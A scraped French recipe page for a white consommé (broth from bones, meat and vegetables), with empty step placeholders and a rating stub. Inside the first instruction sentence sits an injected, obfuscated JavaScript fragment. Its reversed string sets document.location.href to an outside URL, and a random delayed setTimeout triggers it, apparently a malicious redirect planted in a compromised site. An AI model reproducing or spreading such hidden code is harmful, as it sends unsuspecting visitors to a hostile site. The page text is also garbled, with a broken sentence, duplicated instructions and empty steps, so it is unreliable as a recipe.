Consommé blanc
2021-05-20- Niveau : Facile
Enveloppez les os dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon et les casser avec un marteau. Déposez les os dans une grande marmite avec la viande et 3,5 litres d’eau froide.
Ingrédients
Enveloppez les os dans un torchon et les casser avec un marteau. Déposez les os dans une grande marmite avec la viande et 3,5 litres d’eau froide. Portez à ébullition, et écumer plusieurs fois les impuretés qui montent à la surface. Ajoutez le gros sel. Vérifiez l’assaisonnement.
Pelez les légumes et les couper en gros morceaux ; Piquez le clou de girofle dans l’oignon. Laissez cuire pendant 4 heures à tout petit bouillon à couvert. Retirez la viande et passez le bouillon.
Faites refroidir puis placez au réfrigérateur. Dégraissez. On utilisera ce consommé pour le riz pilaf, risotto, les ragoûts, congelez ce qui reste.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette